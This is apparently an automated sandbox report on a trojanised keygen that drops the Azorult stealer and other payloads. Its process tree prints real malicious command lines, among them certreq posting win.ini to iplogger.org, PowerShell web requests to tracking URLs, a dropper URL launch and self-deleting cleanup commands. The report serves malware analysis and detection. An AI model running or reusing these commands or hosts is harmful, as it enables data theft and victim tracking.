Resubmissions

06/04/2021, 13:50

210406-gc51ndzsc2 10

26/03/2021, 23:40

210326-d1ybrjhevx 10

13/03/2021, 17:16

210313-8s7b52z63e 10

05/03/2021, 14:52

210305-34k3zj54f2 10

01/03/2021, 13:17

210301-naamxpgf4e 10

28/02/2021, 20:46

210228-6q3b959xae 10

28/02/2021, 20:15

210228-mbr268za12 10

28/02/2021, 18:32

210228-h944b5cpxa 10

28/02/2021, 15:10

210228-hnwwpyjy7j 10

Analysis

  • max time kernel
    61s
  • max time network
    63s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    01/03/2021, 13:17

General

  • Target

    [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe

  • Size

    9.2MB

  • MD5

    b806267b5f3b7760df56396b1cf05e6d

  • SHA1

    5166d4c1d3e476281d9e991eababc3e4aa9ec5ad

  • SHA256

    f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783

  • SHA512

    30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Nirsoft 4 IoCs
  • Executes dropped EXE 15 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks for any installed AV software in registry 1 TTPs 53 IoCs
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 56 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3992
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:212
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3660
        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1576
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:2028
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
          keygen-step-1.exe
          3⤵
          • Executes dropped EXE
          PID:1540
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1244
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:8
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:1756
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2112
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2032
            • C:\Windows\SysWOW64\msiexec.exe
              msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
              5⤵
              • Enumerates connected drives
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:640
            • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
              C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp1
              5⤵
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Writes to the Master Boot Record (MBR)
              • Suspicious use of SetThreadContext
              • Checks SCSI registry key(s)
              • Suspicious use of SetWindowsHookEx
              PID:2260
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:3276
              • C:\Users\Admin\AppData\Roaming\1614608114544.exe
                "C:\Users\Admin\AppData\Roaming\1614608114544.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614608114544.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:3452
              • C:\Users\Admin\AppData\Roaming\1614608119200.exe
                "C:\Users\Admin\AppData\Roaming\1614608119200.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614608119200.txt"
                6⤵
                  PID:4224
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe"
                  6⤵
                    PID:4192
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                    6⤵
                      PID:4864
                    • C:\Users\Admin\AppData\Roaming\1614608127700.exe
                      "C:\Users\Admin\AppData\Roaming\1614608127700.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614608127700.txt"
                      6⤵
                        PID:4876
                    • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
                      C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp1
                      5⤵
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      • Writes to the Master Boot Record (MBR)
                      • Checks SCSI registry key(s)
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:1996
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c taskkill /f /im chrome.exe
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3804
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /f /im chrome.exe
                          7⤵
                          • Kills process with taskkill
                          PID:2672
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                        6⤵
                          PID:2684
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1 -n 3
                            7⤵
                            • Runs ping.exe
                            PID:1252
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:584
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1 -n 3
                          6⤵
                          • Runs ping.exe
                          PID:3848
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2216
                      • C:\Users\Admin\AppData\Local\Temp\8T7JDLONEJ\multitimer.exe
                        "C:\Users\Admin\AppData\Local\Temp\8T7JDLONEJ\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                        5⤵
                        • Executes dropped EXE
                        • Drops file in Windows directory
                        PID:2360
                        • C:\Users\Admin\AppData\Local\Temp\8T7JDLONEJ\multitimer.exe
                          "C:\Users\Admin\AppData\Local\Temp\8T7JDLONEJ\multitimer.exe" 1 3.1614604724.603ce9b4c9089 101
                          6⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          PID:2216
                          • C:\Users\Admin\AppData\Local\Temp\8T7JDLONEJ\multitimer.exe
                            "C:\Users\Admin\AppData\Local\Temp\8T7JDLONEJ\multitimer.exe" 2 3.1614604724.603ce9b4c9089
                            7⤵
                            • Executes dropped EXE
                            • Checks for any installed AV software in registry
                            • Maps connected drives based on registry
                            • Enumerates system info in registry
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1680
                            • C:\Users\Admin\AppData\Local\Temp\sr42cf40ya5\vhovvfhgss0.exe
                              "C:\Users\Admin\AppData\Local\Temp\sr42cf40ya5\vhovvfhgss0.exe" 57a764d042bf8
                              8⤵
                              • Executes dropped EXE
                              PID:860
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k "C:\Program Files\ONHTDTO4FO\ONHTDTO4F.exe" 57a764d042bf8 & exit
                                9⤵
                                  PID:4956
                              • C:\Users\Admin\AppData\Local\Temp\owthw35s5z1\vict.exe
                                "C:\Users\Admin\AppData\Local\Temp\owthw35s5z1\vict.exe" /VERYSILENT /id=535
                                8⤵
                                  PID:2208
                                  • C:\Users\Admin\AppData\Local\Temp\is-PFPBT.tmp\vict.tmp
                                    "C:\Users\Admin\AppData\Local\Temp\is-PFPBT.tmp\vict.tmp" /SL5="$701E0,870426,780800,C:\Users\Admin\AppData\Local\Temp\owthw35s5z1\vict.exe" /VERYSILENT /id=535
                                    9⤵
                                      PID:4128
                                  • C:\Users\Admin\AppData\Local\Temp\rvhqcjwvhad\5afemuqrdoo.exe
                                    "C:\Users\Admin\AppData\Local\Temp\rvhqcjwvhad\5afemuqrdoo.exe" /VERYSILENT
                                    8⤵
                                      PID:3376
                                      • C:\Users\Admin\AppData\Local\Temp\is-UURM0.tmp\5afemuqrdoo.tmp
                                        "C:\Users\Admin\AppData\Local\Temp\is-UURM0.tmp\5afemuqrdoo.tmp" /SL5="$40158,870426,780800,C:\Users\Admin\AppData\Local\Temp\rvhqcjwvhad\5afemuqrdoo.exe" /VERYSILENT
                                        9⤵
                                          PID:4140
                                      • C:\Users\Admin\AppData\Local\Temp\upfqli5zxwz\wfyswedvyeu.exe
                                        "C:\Users\Admin\AppData\Local\Temp\upfqli5zxwz\wfyswedvyeu.exe" testparams
                                        8⤵
                                          PID:4300
                                        • C:\Users\Admin\AppData\Local\Temp\rl4hsc3bma2\Setup3310.exe
                                          "C:\Users\Admin\AppData\Local\Temp\rl4hsc3bma2\Setup3310.exe" /Verysilent /subid=577
                                          8⤵
                                            PID:4416
                                            • C:\Users\Admin\AppData\Local\Temp\is-LJE0C.tmp\Setup3310.tmp
                                              "C:\Users\Admin\AppData\Local\Temp\is-LJE0C.tmp\Setup3310.tmp" /SL5="$5014E,802346,56832,C:\Users\Admin\AppData\Local\Temp\rl4hsc3bma2\Setup3310.exe" /Verysilent /subid=577
                                              9⤵
                                                PID:4456
                                            • C:\Users\Admin\AppData\Local\Temp\q4v2viyzyj4\l5k1gwjitzf.exe
                                              "C:\Users\Admin\AppData\Local\Temp\q4v2viyzyj4\l5k1gwjitzf.exe" /ustwo INSTALL
                                              8⤵
                                                PID:4492
                                              • C:\Users\Admin\AppData\Local\Temp\boi0llvp1gi\vpn.exe
                                                "C:\Users\Admin\AppData\Local\Temp\boi0llvp1gi\vpn.exe" /silent /subid=482
                                                8⤵
                                                  PID:4616
                                                  • C:\Users\Admin\AppData\Local\Temp\is-MCUQB.tmp\vpn.tmp
                                                    "C:\Users\Admin\AppData\Local\Temp\is-MCUQB.tmp\vpn.tmp" /SL5="$20362,15170975,270336,C:\Users\Admin\AppData\Local\Temp\boi0llvp1gi\vpn.exe" /silent /subid=482
                                                    9⤵
                                                      PID:4680
                                                  • C:\Users\Admin\AppData\Local\Temp\kgvecppe2lv\app.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\kgvecppe2lv\app.exe" /8-23
                                                    8⤵
                                                      PID:4728
                                                    • C:\Users\Admin\AppData\Local\Temp\jishnbcdy0x\safebits.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\jishnbcdy0x\safebits.exe" /S /pubid=1 /subid=451
                                                      8⤵
                                                        PID:4776
                                                      • C:\Users\Admin\AppData\Local\Temp\f51ydkazhvg\IBInstaller_97039.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\f51ydkazhvg\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                        8⤵
                                                          PID:4840
                                                          • C:\Users\Admin\AppData\Local\Temp\is-V171D.tmp\IBInstaller_97039.tmp
                                                            "C:\Users\Admin\AppData\Local\Temp\is-V171D.tmp\IBInstaller_97039.tmp" /SL5="$203BE,14453860,721408,C:\Users\Admin\AppData\Local\Temp\f51ydkazhvg\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                            9⤵
                                                              PID:4912
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "cmd.exe" /c start http://dropskeyssellbuy.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                10⤵
                                                                  PID:5096
                                                            • C:\Users\Admin\AppData\Local\Temp\fknsu5qekac\chashepro3.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\fknsu5qekac\chashepro3.exe" /VERYSILENT
                                                              8⤵
                                                                PID:4980
                                                                • C:\Users\Admin\AppData\Local\Temp\is-UE8BV.tmp\chashepro3.tmp
                                                                  "C:\Users\Admin\AppData\Local\Temp\is-UE8BV.tmp\chashepro3.tmp" /SL5="$30378,6154850,58368,C:\Users\Admin\AppData\Local\Temp\fknsu5qekac\chashepro3.exe" /VERYSILENT
                                                                  9⤵
                                                                    PID:5012
                                                                    • C:\Program Files (x86)\JCleaner\gl.exe
                                                                      "C:\Program Files (x86)\JCleaner\gl.exe"
                                                                      10⤵
                                                                        PID:4148
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1hTS97"
                                                                        10⤵
                                                                          PID:4272
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"
                                                                          10⤵
                                                                            PID:4424
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "cmd.exe" /c "start https://iplogger.org/1EaGq7"
                                                                            10⤵
                                                                              PID:3040
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                              10⤵
                                                                                PID:4648
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                                10⤵
                                                                                  PID:4704
                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      • Modifies system certificate store
                                                                      PID:2268
                                                                      • C:\Users\Admin\AppData\Roaming\ED25.tmp.exe
                                                                        "C:\Users\Admin\AppData\Roaming\ED25.tmp.exe"
                                                                        5⤵
                                                                          PID:4208
                                                                          • C:\Users\Admin\AppData\Roaming\ED25.tmp.exe
                                                                            "C:\Users\Admin\AppData\Roaming\ED25.tmp.exe"
                                                                            6⤵
                                                                              PID:4540
                                                                  • C:\Windows\system32\msiexec.exe
                                                                    C:\Windows\system32\msiexec.exe /V
                                                                    1⤵
                                                                    • Enumerates connected drives
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:3940
                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 7F033F05F9C92F3D165CAD032AD0D6BC C
                                                                      2⤵
                                                                      • Loads dropped DLL
                                                                      PID:1020

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v6

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • memory/860-102-0x00007FFC337C0000-0x00007FFC34160000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/860-109-0x0000000002F20000-0x0000000002F22000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1576-27-0x0000000002F20000-0x00000000030BC000-memory.dmp

                                                                    Filesize

                                                                    1.6MB

                                                                  • memory/1680-86-0x00007FFC337C0000-0x00007FFC34160000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/1680-89-0x0000000000AD0000-0x0000000000AD2000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1996-62-0x0000000003570000-0x0000000003A1F000-memory.dmp

                                                                    Filesize

                                                                    4.7MB

                                                                  • memory/1996-43-0x0000000072A60000-0x0000000072AF3000-memory.dmp

                                                                    Filesize

                                                                    588KB

                                                                  • memory/2032-25-0x0000000072A60000-0x0000000072AF3000-memory.dmp

                                                                    Filesize

                                                                    588KB

                                                                  • memory/2032-28-0x0000000010000000-0x000000001033E000-memory.dmp

                                                                    Filesize

                                                                    3.2MB

                                                                  • memory/2216-53-0x000000001BEE0000-0x000000001BEE2000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/2216-81-0x00007FFC2F920000-0x00007FFC302C0000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2216-49-0x0000000000630000-0x0000000000631000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2216-87-0x0000000002D00000-0x0000000002D02000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/2216-48-0x00007FFC33770000-0x00007FFC3415C000-memory.dmp

                                                                    Filesize

                                                                    9.9MB

                                                                  • memory/2260-63-0x0000000003600000-0x0000000003AAF000-memory.dmp

                                                                    Filesize

                                                                    4.7MB

                                                                  • memory/2260-41-0x0000000072A60000-0x0000000072AF3000-memory.dmp

                                                                    Filesize

                                                                    588KB

                                                                  • memory/2268-64-0x0000000000D80000-0x0000000000D8D000-memory.dmp

                                                                    Filesize

                                                                    52KB

                                                                  • memory/2268-153-0x0000000000400000-0x000000000044A000-memory.dmp

                                                                    Filesize

                                                                    296KB

                                                                  • memory/2360-65-0x00007FFC2F920000-0x00007FFC302C0000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2360-74-0x0000000000B90000-0x0000000000B92000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/3276-93-0x0000019B70040000-0x0000019B70041000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/3276-91-0x00007FFC4B280000-0x00007FFC4B2FE000-memory.dmp

                                                                    Filesize

                                                                    504KB

                                                                  • memory/3276-92-0x0000000010000000-0x0000000010057000-memory.dmp

                                                                    Filesize

                                                                    348KB

                                                                  • memory/3376-110-0x0000000000401000-0x00000000004B7000-memory.dmp

                                                                    Filesize

                                                                    728KB

                                                                  • memory/3452-97-0x0000000072A60000-0x0000000072AF3000-memory.dmp

                                                                    Filesize

                                                                    588KB

                                                                  • memory/4128-127-0x00000000006B0000-0x00000000006B1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4140-137-0x0000000000720000-0x0000000000721000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4192-120-0x00007FFC4B280000-0x00007FFC4B2FE000-memory.dmp

                                                                    Filesize

                                                                    504KB

                                                                  • memory/4192-135-0x000001DBF3D40000-0x000001DBF3D41000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4208-162-0x0000000002EF0000-0x0000000002F35000-memory.dmp

                                                                    Filesize

                                                                    276KB

                                                                  • memory/4208-149-0x0000000002FF0000-0x0000000002FF1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4224-123-0x0000000072A60000-0x0000000072AF3000-memory.dmp

                                                                    Filesize

                                                                    588KB

                                                                  • memory/4300-132-0x00007FFC337C0000-0x00007FFC34160000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/4300-136-0x00000000026D0000-0x00000000026D2000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/4416-152-0x0000000000401000-0x000000000040B000-memory.dmp

                                                                    Filesize

                                                                    40KB

                                                                  • memory/4456-165-0x0000000005030000-0x0000000005031000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-182-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-172-0x0000000005080000-0x0000000005081000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-160-0x0000000005010000-0x0000000005011000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-166-0x0000000005040000-0x0000000005041000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-169-0x0000000005050000-0x0000000005051000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-163-0x0000000005020000-0x0000000005021000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-161-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-157-0x00000000050E0000-0x00000000050E1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-155-0x0000000005000000-0x0000000005001000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-183-0x0000000005110000-0x0000000005111000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-180-0x00000000050D0000-0x00000000050D1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-148-0x0000000003931000-0x000000000395C000-memory.dmp

                                                                    Filesize

                                                                    172KB

                                                                  • memory/4456-181-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-170-0x0000000005060000-0x0000000005061000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-171-0x0000000005070000-0x0000000005071000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-174-0x0000000005090000-0x0000000005091000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-175-0x00000000050A0000-0x00000000050A1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-176-0x00000000050B0000-0x00000000050B1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4456-177-0x00000000050C0000-0x00000000050C1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4492-194-0x0000000002AF0000-0x0000000002B3C000-memory.dmp

                                                                    Filesize

                                                                    304KB

                                                                  • memory/4492-196-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                    Filesize

                                                                    320KB

                                                                  • memory/4492-190-0x00000000030A0000-0x00000000030A1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4540-154-0x0000000000400000-0x0000000000449000-memory.dmp

                                                                    Filesize

                                                                    292KB

                                                                  • memory/4540-159-0x0000000000400000-0x0000000000449000-memory.dmp

                                                                    Filesize

                                                                    292KB

                                                                  • memory/4616-168-0x0000000000401000-0x0000000000417000-memory.dmp

                                                                    Filesize

                                                                    88KB

                                                                  • memory/4680-198-0x0000000003900000-0x0000000003901000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4680-187-0x0000000003911000-0x0000000003919000-memory.dmp

                                                                    Filesize

                                                                    32KB

                                                                  • memory/4680-188-0x0000000003AA1000-0x0000000003AAD000-memory.dmp

                                                                    Filesize

                                                                    48KB

                                                                  • memory/4680-186-0x00000000037B0000-0x00000000037B1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4680-179-0x00000000020D0000-0x00000000020D1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4680-184-0x00000000032A1000-0x0000000003486000-memory.dmp

                                                                    Filesize

                                                                    1.9MB

                                                                  • memory/4776-189-0x0000000000630000-0x0000000000631000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4840-202-0x0000000000401000-0x00000000004A9000-memory.dmp

                                                                    Filesize

                                                                    672KB

                                                                  • memory/4864-195-0x00007FFC4B280000-0x00007FFC4B2FE000-memory.dmp

                                                                    Filesize

                                                                    504KB

                                                                  • memory/4864-201-0x000001F573B80000-0x000001F573B81000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4876-197-0x0000000072A60000-0x0000000072AF3000-memory.dmp

                                                                    Filesize

                                                                    588KB

                                                                  • memory/4912-206-0x00000000008F0000-0x00000000008F1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/4980-207-0x0000000000401000-0x000000000040C000-memory.dmp

                                                                    Filesize

                                                                    44KB

                                                                  • memory/5012-209-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                    Filesize

                                                                    4KB